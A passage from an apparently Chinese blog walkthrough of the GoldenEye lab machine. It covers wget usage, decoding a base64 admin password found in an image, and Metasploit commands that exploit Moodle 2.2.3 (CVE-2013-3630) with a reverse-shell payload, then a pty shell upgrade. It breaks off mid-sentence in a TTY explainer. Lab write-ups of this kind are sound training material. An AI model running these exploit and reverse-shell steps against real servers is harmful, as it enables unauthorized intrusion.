class=\"wp-block-paragraph\">\u5f53\u6587\u4ef6\u7279\u522b\u5927\u6216\u8005\u7f51\u7edc\u7279\u522b\u6162\u7684\u65f6\u5019\uff0c\u5f80\u5f80\u4e00\u4e2a\u6587\u4ef6\u8fd8\u6ca1\u6709\u4e0b\u8f7d\u5b8c\uff0c\u8fde\u63a5\u5c31\u5df2\u7ecf\u88ab\u5207\u65ad\uff0c\u6b64\u65f6\u5c31\u9700\u8981\u65ad\u70b9\u7eed\u4f20\u3002wget\u7684\u65ad\u70b9\u7eed\u4f20\u662f\u81ea\u52a8\u7684\uff0c\u53ea\u9700\u8981\u4f7f\u7528-c\u53c2\u6570\uff0c\u4f8b\u5982\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">wget -c http:\/\/the.url.of\/incomplete\/file<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528\u65ad\u70b9\u7eed\u4f20\u8981\u6c42\u670d\u52a1\u5668\u652f\u6301\u65ad\u70b9\u7eed\u4f20\u3002-t\u53c2\u6570\u8868\u793a\u91cd\u8bd5\u6b21\u6570\uff0c\u4f8b\u5982\u9700\u8981\u91cd\u8bd5100\u6b21\uff0c\u90a3\u4e48\u5c31\u5199-t 100\uff0c\u5982\u679c\u8bbe\u6210-t 0\uff0c\u90a3\u4e48\u8868\u793a\u65e0\u7a77\u6b21\u91cd\u8bd5\uff0c\u76f4\u5230\u8fde\u63a5\u6210\u529f\u3002-T\u53c2\u6570\u8868\u793a\u8d85\u65f6\u7b49\u5f85\u65f6\u95f4\uff0c\u4f8b\u5982-T 120\uff0c\u8868\u793a\u7b49\u5f85120\u79d2\u8fde\u63a5\u4e0d\u4e0a\u5c31\u7b97\u8d85\u65f6\u3002<\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li>\u6279\u91cf\u4e0b\u8f7d\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u6709\u591a\u4e2a\u6587\u4ef6\u9700\u8981\u4e0b\u8f7d\uff0c\u90a3\u4e48\u53ef\u4ee5\u751f\u6210\u4e00\u4e2a\u6587\u4ef6\uff0c\u628a\u6bcf\u4e2a\u6587\u4ef6\u7684URL\u5199\u4e00\u884c\uff0c\u4f8b\u5982\u751f\u6210\u6587\u4ef6download.txt\uff0c\u7136\u540e\u7528\u547d\u4ee4\uff1awget -i download.txt<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u6837\u5c31\u4f1a\u628adownload.txt\u91cc\u9762\u5217\u51fa\u7684\u6bcf\u4e2aURL\u90fd\u4e0b\u8f7d\u4e0b\u6765\u3002\uff08\u5982\u679c\u5217\u7684\u662f\u6587\u4ef6\u5c31\u4e0b\u8f7d\u6587\u4ef6\uff0c\u5982\u679c\u5217\u7684\u662f\u7f51\u7ad9\uff0c\u90a3\u4e48\u4e0b\u8f7d\u9996\u9875\uff09<\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li>\u9009\u62e9\u6027\u7684\u4e0b\u8f7d\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u6307\u5b9a\u8ba9wget\u53ea\u4e0b\u8f7d\u4e00\u7c7b\u6587\u4ef6\uff0c\u6216\u8005\u4e0d\u4e0b\u8f7d\u4ec0\u4e48\u6587\u4ef6\u3002\u4f8b\u5982\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">wget -m \u2013reject=gif http:\/\/target.web.site\/subdirectory<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8868\u793a\u4e0b\u8f7dhttp:\/\/target.web.site\/subdirectory\uff0c\u4f46\u662f\u5ffd\u7565gif\u6587\u4ef6\u3002\u2013accept=LIST \u53ef\u4ee5\u63a5\u53d7\u7684\u6587\u4ef6\u7c7b\u578b\uff0c\u2013reject=LIST\u62d2\u7edd\u63a5\u53d7\u7684\u6587\u4ef6\u7c7b\u578b\u3002<\/p>\n\n\n\n<ol start=\"5\" class=\"wp-block-list\">\n<li>\u5bc6\u7801\u548c\u8ba4\u8bc1\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">wget\u53ea\u80fd\u5904\u7406\u5229\u7528\u7528\u6237\u540d\/\u5bc6\u7801\u65b9\u5f0f\u9650\u5236\u8bbf\u95ee\u7684\u7f51\u7ad9\uff0c\u53ef\u4ee5\u5229\u7528\u4e24\u4e2a\u53c2\u6570\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2013http-user=USER\u8bbe\u7f6eHTTP\u7528\u6237<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2013http-passwd=PASS\u8bbe\u7f6eHTTP\u5bc6\u7801<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bf9\u4e8e\u9700\u8981\u8bc1\u4e66\u505a\u8ba4\u8bc1\u7684\u7f51\u7ad9\uff0c\u5c31\u53ea\u80fd\u5229\u7528\u5176\u4ed6\u4e0b\u8f7d\u5de5\u5177\u4e86\uff0c\u4f8b\u5982curl\u3002<\/p>\n\n\n\n<ol start=\"6\" class=\"wp-block-list\">\n<li>\u5229\u7528\u4ee3\u7406\u670d\u52a1\u5668\u8fdb\u884c\u4e0b\u8f7d\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u7528\u6237\u7684\u7f51\u7edc\u9700\u8981\u7ecf\u8fc7\u4ee3\u7406\u670d\u52a1\u5668\uff0c\u90a3\u4e48\u53ef\u4ee5\u8ba9wget\u901a\u8fc7\u4ee3\u7406\u670d\u52a1\u5668\u8fdb\u884c\u6587\u4ef6\u7684\u4e0b\u8f7d\u3002\u6b64\u65f6\u9700\u8981\u5728\u5f53\u524d\u7528\u6237\u7684\u76ee\u5f55\u4e0b\u521b\u5efa\u4e00\u4e2a.wgetrc\u6587\u4ef6\u3002\u6587\u4ef6\u4e2d\u53ef\u4ee5\u8bbe\u7f6e\u4ee3\u7406\u670d\u52a1\u5668\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">http-proxy = 111.111.111.111:8080<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">ftp-proxy = 111.111.111.111:8080<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5206\u522b\u8868\u793ahttp\u7684\u4ee3\u7406\u670d\u52a1\u5668\u548cftp\u7684\u4ee3\u7406\u670d\u52a1\u5668\u3002\u5982\u679c\u4ee3\u7406\u670d\u52a1\u5668\u9700\u8981\u5bc6\u7801\u5219\u4f7f\u7528\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2013proxy-user=USER\u8bbe\u7f6e\u4ee3\u7406\u7528\u6237<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2013proxy-passwd=PASS\u8bbe\u7f6e\u4ee3\u7406\u5bc6\u7801<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e24\u4e2a\u53c2\u6570\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528\u53c2\u6570\u2013proxy=on\/off \u4f7f\u7528\u6216\u8005\u5173\u95ed\u4ee3\u7406\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">wget\u8fd8\u6709\u5f88\u591a\u6709\u7528\u7684\u529f\u80fd\uff0c\u9700\u8981\u7528\u6237\u53bb\u6316\u6398\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> \u547d\u4ee4\u683c\u5f0f\uff1a \nwget &#91;\u53c2\u6570\u5217\u8868] &#91;\u76ee\u6807\u8f6f\u4ef6\u3001\u7f51\u9875\u7684\u7f51\u5740] \n\n-V,\u2013version \u663e\u793a\u8f6f\u4ef6\u7248\u672c\u53f7\u7136\u540e\u9000\u51fa\uff1b \n-h,\u2013help\u663e\u793a\u8f6f\u4ef6\u5e2e\u52a9\u4fe1\u606f\uff1b \n-e,\u2013execute=COMMAND \u6267\u884c\u4e00\u4e2a \u201c.wgetrc\u201d\u547d\u4ee4 \n\n-o,\u2013output-file=FILE \u5c06\u8f6f\u4ef6\u8f93\u51fa\u4fe1\u606f\u4fdd\u5b58\u5230\u6587\u4ef6\uff1b \n-a,\u2013append-output=FILE\u5c06\u8f6f\u4ef6\u8f93\u51fa\u4fe1\u606f\u8ffd\u52a0\u5230\u6587\u4ef6\uff1b \n-d,\u2013debug\u663e\u793a\u8f93\u51fa\u4fe1\u606f\uff1b \n-q,\u2013quiet \u4e0d\u663e\u793a\u8f93\u51fa\u4fe1\u606f\uff1b \n-i,\u2013input-file=FILE \u4ece\u6587\u4ef6\u4e2d\u53d6\u5f97URL\uff1b \n\n-t,\u2013tries=NUMBER \u662f\u5426\u4e0b\u8f7d\u6b21\u6570\uff080\u8868\u793a\u65e0\u7a77\u6b21\uff09 \n-O \u2013output-document=FILE\u4e0b\u8f7d\u6587\u4ef6\u4fdd\u5b58\u4e3a\u522b\u7684\u6587\u4ef6\u540d \n-nc, \u2013no-clobber \u4e0d\u8981\u8986\u76d6\u5df2\u7ecf\u5b58\u5728\u7684\u6587\u4ef6 \n-N,\u2013timestamping\u53ea\u4e0b\u8f7d\u6bd4\u672c\u5730\u65b0\u7684\u6587\u4ef6 \n-T,\u2013timeout=SECONDS \u8bbe\u7f6e\u8d85\u65f6\u65f6\u95f4 \n-Y,\u2013proxy=on\/off \u5173\u95ed\u4ee3\u7406 \n\n-nd,\u2013no-directories \u4e0d\u5efa\u7acb\u76ee\u5f55 \n-x,\u2013force-directories \u5f3a\u5236\u5efa\u7acb\u76ee\u5f55 \n\n\u2013http-user=USER\u8bbe\u7f6eHTTP\u7528\u6237 \n\u2013http-passwd=PASS\u8bbe\u7f6eHTTP\u5bc6\u7801 \n\u2013proxy-user=USER\u8bbe\u7f6e\u4ee3\u7406\u7528\u6237 \n\u2013proxy-passwd=PASS\u8bbe\u7f6e\u4ee3\u7406\u5bc6\u7801 \n\n-r,\u2013recursive \u4e0b\u8f7d\u6574\u4e2a\u7f51\u7ad9\u3001\u76ee\u5f55\uff08\u5c0f\u5fc3\u4f7f\u7528\uff09 \n-l,\u2013level=NUMBER \u4e0b\u8f7d\u5c42\u6b21 \n\n-A,\u2013accept=LIST \u53ef\u4ee5\u63a5\u53d7\u7684\u6587\u4ef6\u7c7b\u578b \n-R,\u2013reject=LIST\u62d2\u7edd\u63a5\u53d7\u7684\u6587\u4ef6\u7c7b\u578b \n-D,\u2013domains=LIST\u53ef\u4ee5\u63a5\u53d7\u7684\u57df\u540d \n\u2013exclude-domains=LIST\u62d2\u7edd\u7684\u57df\u540d \n-L,\u2013relative \u4e0b\u8f7d\u5173\u8054\u94fe\u63a5 \n\u2013follow-ftp \u53ea\u4e0b\u8f7dFTP\u94fe\u63a5 \n-H,\u2013span-hosts \u53ef\u4ee5\u4e0b\u8f7d\u5916\u9762\u7684\u4e3b\u673a \n-I,\u2013include-directories=LIST\u5141\u8bb8\u7684\u76ee\u5f55 \n-X,\u2013exclude-directories=LIST \u62d2\u7edd\u7684\u76ee\u5f55 <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u76ee\u5f55\u4e0b\u627e\u5230\u4e0b\u8f7d\u7684\u6587\u4ef6\uff0c\u6839\u636e\u90ae\u4ef6\u63d0\u793a\u8ba9\u6211\u4eec\u68c0\u67e5\u56fe\u7247\u5185\u5bb9\uff0c\u4e0b\u8f7d\u56fe\u7247\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\uff1abinwalk\uff08\u8def\u7531\u9006\u5411\u5206\u6790\u5de5\u5177\uff09exiftool\uff08\u56fe\u866b\uff09strings\uff08\u8bc6\u522b\u52a8\u6001\u5e93\u7248\u672c\u6307\u4ee4\uff09\u7b49\u67e5\u770bjpg\u6587\u4ef6\u5e95\u5c42\u5185\u5bb9\uff01<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"633\" height=\"352\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-9e9ff6e4-9342-443f-8256-b60789ed4b11.png\" alt=\"\" class=\"wp-image-26\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-9e9ff6e4-9342-443f-8256-b60789ed4b11.png 633w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-9e9ff6e4-9342-443f-8256-b60789ed4b11-300x167.png 300w\" sizes=\"auto, (max-width: 633px) 100vw, 633px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">base64\uff1aeFdpbnRlcjE5OTV4IQ==<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u660e\u6587\uff1axWinter1995x!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u91cd\u8981\u4fe1\u606f\uff08\u7ba1\u7406\u5458\u8d26\u53f7\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ebf\u7d22\u4e2d\u8bf4\uff0c\u8fd9\u662f\u7ba1\u7406\u5458\u7528\u6237\u7684\u5bc6\u7801\u3002\u7ba1\u7406\u5458\u7528\u6237\u8eab\u4efd\u7ee7\u7eed\u767b\u9646\u5e94\u7528\u7a0b\u5e8f\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528\u6237\u540d\uff1aadmin<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bc6\u7801\uff1axWinter1995x!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"729\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-d487af33-4352-4926-a150-4740fa3214f8.png\" alt=\"\" class=\"wp-image-27\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-d487af33-4352-4926-a150-4740fa3214f8.png 1280w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-d487af33-4352-4926-a150-4740fa3214f8-300x171.png 300w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-d487af33-4352-4926-a150-4740fa3214f8-1024x583.png 1024w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-d487af33-4352-4926-a150-4740fa3214f8-768x437.png 768w\" sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u5de6\u4e0a\u89d2\u662f2.2.3\uff0c\u731c\u6d4b\u662f\u7248\u672c\u53f7\uff0cmoodel\u7684\u7248\u672c\u4e3a2.2.3<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8c37\u6b4c\u641c\u7d22<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1920\" height=\"898\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-ad173e7d-73e2-4f40-becf-ec448809d7be.png\" alt=\"\" class=\"wp-image-30\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-ad173e7d-73e2-4f40-becf-ec448809d7be.png 1920w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-ad173e7d-73e2-4f40-becf-ec448809d7be-300x140.png 300w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-ad173e7d-73e2-4f40-becf-ec448809d7be-1024x479.png 1024w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-ad173e7d-73e2-4f40-becf-ec448809d7be-768x359.png 768w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-ad173e7d-73e2-4f40-becf-ec448809d7be-1536x718.png 1536w\" sizes=\"auto, (max-width: 1920px) 100vw, 1920px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u5b58\u5728CVE-2013-3630 \u6f0f\u6d1e\u53ef\u5229\u7528\uff01 29324<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b64\u7248\u672c\u6709\u8bb8\u591a\u6f0f\u6d1e\u5229\u7528\uff0c\u7531\u4e8e\u6211\u4eec\u9700\u8981\u5728\u76ee\u6807\u8ba1\u7b97\u673a\u4e0a\u8fdb\u884c\u5916\u58f3\u8bbf\u95ee\uff0c\u56e0\u6b64\u6211\u9009\u62e9\u4f7f\u7528\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff08RCE\uff09\u6f0f\u6d1e\u5229\u7528\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u4f7f\u7528MSF<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u77e5\u8bc6\u70b9\uff08MSF\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u57fa\u7840\u4f7f\u7528<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfconsole                                                                                    #\u8fdb\u5165\u6846\u67b6\nsearch  ms17_010                                    # \u4f7f\u7528search\u547d\u4ee4\u67e5\u627e\u76f8\u5173\u6f0f\u6d1e\nuse exploit\/windows\/smb\/ms17_010_eternalblue        # \u4f7f\u7528use\u8fdb\u5165\u6a21\u5757\ninfo                                                #\u4f7f\u7528info\u67e5\u770b\u6a21\u5757\u4fe1\u606f\nset payload windows\/x64\/meterpreter\/reverse_tcp     #\u8bbe\u7f6e\u653b\u51fb\u8f7d\u8377\nshow options                                        #\u67e5\u770b\u6a21\u5757\u9700\u8981\u914d\u7f6e\u7684\u53c2\u6570\nset  RHOST  192.168.100.158                         #\u8bbe\u7f6e\u53c2\u6570\nexploit \/ run                                       #\u653b\u51fb\n\u540e\u6e17\u900f\u9636\u6bb5                                           #\u540e\u6e17\u900f\u9636\u6bb5<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">ps\uff1a\u4f7f\u7528\u65b9\u6cd5\u8fdb\u9636\u8bf7\u770b\u4e66\u7c4d<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5f00\u59cb\u6e17\u900f<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>msfconsole                        ---\u8fdb\u5165MSF\u6846\u67b6\u653b\u51fb\u754c\u9762\nsearch moodle                     ---\u67e5\u627e moodle\u7c7b\u578b \u653b\u51fb\u7684\u6a21\u5757\nuse 0                             ---\u8c03\u75280  exploit\/multi\/http\/moodle_cmd_exec\u8c03\u7528\u653b\u51fb\u811a\u672c\nset username admin                ---\u8bbe\u7f6e\u7528\u6237\u540d\uff1aadmin\nset password xWinter1995x!        ---\u8bbe\u7f6e\u5bc6\u7801\uff1axWinter1995x!\nset rhost severnaya-station.com   ---\u8bbe\u7f6e\uff1arhosts severnaya-station.com\nset targeturi \/gnocertdir         ---\u8bbe\u7f6e\u76ee\u5f55\uff1a \/gnocertdir\nset payload cmd\/unix\/reverse      ---\u8bbe\u7f6epayload\uff1acmd\/unix\/reverse\nset lhost 192.168.11.139          ---\u8bbe\u7f6e\uff1alhost 192.168.11.139\uff08\u9700\u8981\u672c\u5730IP\uff09\nexploit  ----\u6267\u884c\u547d\u4ee4<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">search moodle ---\u67e5\u627e moodle\u7c7b\u578b \u653b\u51fb\u7684\u6a21\u5757<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"641\" height=\"388\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-4200818e-1302-4d32-9e26-1a4813b0fe5e.png\" alt=\"\" class=\"wp-image-29\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-4200818e-1302-4d32-9e26-1a4813b0fe5e.png 641w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-4200818e-1302-4d32-9e26-1a4813b0fe5e-300x182.png 300w\" sizes=\"auto, (max-width: 641px) 100vw, 641px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u770b\u5230\u5e8f\u53f71\u7684\u65f6\u95f4\u76842013.10.30\uff0c\u7b26\u5408\u6211\u4eec\u67e5\u51fa\u6765\u7684CVE\u7f16\u53f7CVE-2013-3630\uff0c\u6240\u4ee5\u6211\u4eec\u4f7f\u7528\u5e8f\u53f71<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528show options\u67e5\u770b\u9700\u8981\u5199\u5165\u7684\u53c2\u6570<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"503\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-2dfdfec2-0dd8-43f5-9a69-ceebe3adbef8.png\" alt=\"\" class=\"wp-image-54\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-2dfdfec2-0dd8-43f5-9a69-ceebe3adbef8.png 618w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-2dfdfec2-0dd8-43f5-9a69-ceebe3adbef8-300x244.png 300w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u9010\u884c\u8bbe\u7f6e\u53c2\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>set username admin                ---\u8bbe\u7f6e\u7528\u6237\u540d\uff1aadmin\nset password xWinter1995x!        ---\u8bbe\u7f6e\u5bc6\u7801\uff1axWinter1995x!\nset rhost severnaya-station.com   ---\u8bbe\u7f6e\uff1arhosts severnaya-station.com\nset targeturi \/gnocertdir         ---\u8bbe\u7f6e\u76ee\u5f55\uff1a \/gnocertdir\nset payload cmd\/unix\/reverse      ---\u8bbe\u7f6epayload\uff1acmd\/unix\/reverse\nset lhost 192.168.4.231           ---\u8bbe\u7f6e\uff1alhost 192.168.4.231\uff08\u9700\u8981\u672c\u5730IP\uff09<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"634\" height=\"678\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-18d794db-526c-4799-885c-bac14d10c6bc.png\" alt=\"\" class=\"wp-image-42\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-18d794db-526c-4799-885c-bac14d10c6bc.png 634w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-18d794db-526c-4799-885c-bac14d10c6bc-281x300.png 281w\" sizes=\"auto, (max-width: 634px) 100vw, 634px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">exploit\u5f00\u59cb\u6e17\u900f<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"636\" height=\"408\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-90dcb7de-783f-4775-877b-7f34b6ec1e36.png\" alt=\"\" class=\"wp-image-34\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-90dcb7de-783f-4775-877b-7f34b6ec1e36.png 636w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069447-90dcb7de-783f-4775-877b-7f34b6ec1e36-300x192.png 300w\" sizes=\"auto, (max-width: 636px) 100vw, 636px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6267\u884ctty\uff0c\u56e0\u4e3a\u83b7\u5f97\u7684\u6743\u9650\u65e0\u6846\u67b6\uff1a\u6267\u884c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">python -c 'import pty; pty.spawn(\"\/bin\/bash\")' ---\u5c06shell\u8fdb\u884ctty<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6267\u884ctty\u7684\u610f\u601d\u662f\uff1a\u7528\u6237\u5728\u547d\u4ee4\u884c\u4e2d\u8fd0\u884c<code>tty<\/code>\u547d\u4ee4\u65f6\uff0c\u5b83\u4f1a\u8f93\u51fa\u4ed6\u4eec\u5f53\u524d\u4f1a\u8bdd\u6240\u4f7f\u7528\u7684\u7ec8\u7aef\u8bbe\u5907\u6587\u4ef6\u8def\u5f84\uff0c\u6bcf\u4e2a\u7ec8\u7aef\u8bbe\u5907\u90fd\u4e0e\u7cfb\u7edf\u4e2d\u7684\u4e00\u4e2a<code>\/dev\/<\/code>\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\u5173\u8054\uff0c\u8fd9\u4e9b\u6587\u4ef6\u8ba9\u7cfb\u7edf\u80fd\u591f\u4e0e\u7ec8\u7aef\u4ea4\u4e92\u3002\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5f39\u51fa\u7ec8\u7aef\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">tty\u4e0e\u5f39shell\u7684\u533a\u522b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>tty<\/code>\u547d\u4ee4\u53ea\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u4fe1\u606f\u67e5\u8be2\u5de5\u5177\uff0c\u544a\u8bc9\u4f60\u5f53\u524d\u7ec8\u7aef\u8bbe\u5907\u7684\u540d\u79f0\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f39\u51faShell\u5219\u662f\u542f\u52a8\u4e00\u4e2a\u65b0\u7684\u547d\u4ee4\u884c\u4f1a\u8bdd\uff0c\u5141\u8bb8\u4f60\u6267\u884c\u4efb\u610f\u7684\u7cfb\u7edf\u547d\u4ee4\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u77e5\u8bc6\u70b9\uff08tty\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728 Linux \u7cfb\u7edf\u4e2d\uff0cTTY\uff08Teletypewriter \u7684\u7f29\u5199\uff09\u662f\u4e00\u4e2a\u4ee3\u8868\u7ec8\u7aef\u8bbe\u5907\u7684\u6982\u5ff5\u3002TTY \u662f Linux \u64cd\u4f5c\u7cfb\u7edf\u4e2d\u7684\u4e00\u4e2a\u91cd\u8981\u90e8\u5206\uff0c\u5b83\u5141\u8bb8\u7528\u6237\u4e0e\u7cfb\u7edf\u8fdb\u884c\u4ea4\u4e92\u3002\u4e0b\u9762\u8be6\u7ec6\u8bb2\u8ff0 TTY \u7684\u76f8\u5173\u77e5\u8bc6\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">TTY \u7684\u5386\u53f2\u80cc\u666f<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">TTY \u6700\u65e9\u8d77\u6e90\u4e8e\u7535\u4f20\u6253\u5b57\u673a\uff08Teletypewriter\uff09\uff0c\u4e00\u79cd\u65e9\u671f\u7684\u6587\u672c\u8f93\u5165\u8f93\u51fa\u8bbe\u5907\u3002\u5728\u73b0\u4ee3\u8ba1\u7b97\u4e2d\uff0cTTY \u4e3b\u8981\u662f\u6307\u7ec8\u7aef\u8bbe\u5907\uff0c\u8fd9\u4e9b\u8bbe\u5907\u5141\u8bb8\u7528\u6237\u4e0e\u8ba1\u7b97\u673a\u8fdb\u884c\u6587\u672c\u6a21\u5f0f\u7684\u4ea4\u4e92\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">TTY \u7684\u7c7b\u578b<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728 Linux \u7cfb\u7edf\u4e2d\uff0cTTY \u4e3b\u8981\u5206\u4e3a\u4ee5\u4e0b\u51e0\u79cd\u7c7b\u578b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u7269\u7406\u7ec8\u7aef\uff08Physical Terminal\uff09\uff1a\u8fd9\u901a\u5e38\u662f\u6307\u8fde\u63a5\u5230\u8ba1\u7b97\u673a\u7684\u786c\u4ef6\u7ec8\u7aef\uff0c\u4f8b\u5982\u901a\u8fc7\u4e32\u53e3\u8fde\u63a5\u7684\u7ec8\u7aef\u8bbe\u5907\u3002<\/li>\n\n\n\n<li>\u865a\u62df\u63a7\u5236\u53f0\uff08Virtual Console\uff09\uff1a\u8fd9\u4e9b\u662f Linux \u5185\u6838\u63d0\u4f9b\u7684\u865a\u62df\u7ec8\u7aef\u8bbe\u5907\u3002\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u6309\u4e0b Ctrl + Alt + F1 \u5230 Ctrl + Alt + F6 \u6765\u5207\u6362\u4e0d\u540c\u7684\u865a\u62df\u63a7\u5236\u53f0\u3002\u6bcf\u4e2a\u865a\u62df\u63a7\u5236\u53f0\u90fd\u53ef\u4ee5\u8fd0\u884c\u72ec\u7acb\u7684\u767b\u5f55\u4f1a\u8bdd\u3002<\/li>\n\n\n\n<li>\u4f2a\u7ec8\u7aef\uff08Pseudo Terminal, PTY\uff09\uff1a\u8fd9\u662f\u865a\u62df\u7ec8\u7aef\u7684\u4e00\u79cd\u7279\u6b8a\u5f62\u5f0f\uff0c\u5e38\u7528\u4e8e\u56fe\u5f62\u754c\u9762\u7ec8\u7aef\u6a21\u62df\u5668\uff08\u5982 GNOME Terminal\u3001xterm\uff09\u4ee5\u53ca\u8fdc\u7a0b\u767b\u5f55\u5de5\u5177\uff08\u5982 SSH\uff09\u3002PTY 